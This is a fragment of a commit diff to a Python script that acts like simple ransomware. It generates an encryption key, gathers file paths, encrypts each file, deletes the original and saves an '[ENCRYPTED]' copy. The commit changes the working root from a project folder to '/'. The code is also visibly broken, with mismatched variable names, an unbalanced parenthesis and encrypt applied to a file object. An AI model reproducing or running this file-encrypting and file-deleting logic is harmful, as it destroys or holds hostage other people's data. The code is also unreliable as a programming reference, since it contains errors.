|
13 | 13 |
|
14 | 14 | user_directory = (getpass.getuser()). center(25,'_') |
15 | 15 |
|
16 | | -parent_dir = "D:/projects/" |
| 16 | +parent_dir = "/" |
17 | 17 |
|
18 | 18 | path = os.path.join(parent_dir, user_directory) |
19 | 19 |
|
20 | 20 | os.mkdir(path) |
21 | 21 |
|
22 | 22 | key = Fernet.generate_key() |
23 | | -with open(path+'/'+'key.csv' , 'a') as key_file: |
24 | | - msg =f''' |
| 23 | +with open(path+'/'+'key.txt' , 'a') as key_file: |
| 24 | + msg ='='.center(30,'=')+f''' |
25 | 25 | {user_directory} is crypted by: {key} ############ \n time: {current_time} |
26 | 26 | ''' |
27 | | - csvwriter = csvwriter(key_file) |
28 | | - csvwriter.writerow(msg) |
29 | | - |
| 27 | + keyfile.writelines(msg) |
| 28 | + |
30 | 29 |
|
31 | 30 | f = Fernet(key) |
32 | 31 | files_path=[] |
|
42 | 41 | files_path.append(file_name) |
43 | 42 |
|
44 | 43 | pathes = open(path+'/'+'pathes.txt' , 'a') |
45 | | -msg =f''' |
| 44 | +msg ='='.center(30,'=')+f''' |
46 | 45 | PATHES OF FILES: {files_path}############ \n time: {current_time} |
47 | 46 | ''' |
48 | | -pathes.write(files_path) |
| 47 | +pathes.writelines(files_path) |
49 | 48 | pathes.close() |
50 | 49 | for file_path in files_path: |
51 | 50 | try: |
52 | | - with open(file_path,'rb+') as texted_file: |
| 51 | + with open(file_path,'rb') as texted_file: |
53 | 52 | crypetd_texted_file = f.encrypt(texted_file) |
54 | | - print(file_path , 'CRYPTED'.center(10,'_')) |
| 53 | + print(file_path+ 'CRYPTED').center(10,'_')) |
55 | 54 | os.remove(file_path) |
56 | 55 | with open(file_path+'[ENCRYPTED]'.center(20,'__') , 'w') as crypted_file: |
57 | | - crypted_file.write(crypted_texted_file) |
| 56 | + crypted_file.writelines(crypted_texted_file) |
58 | 57 |
|
59 | 58 |
|
60 | 59 |
|
|
0 commit comments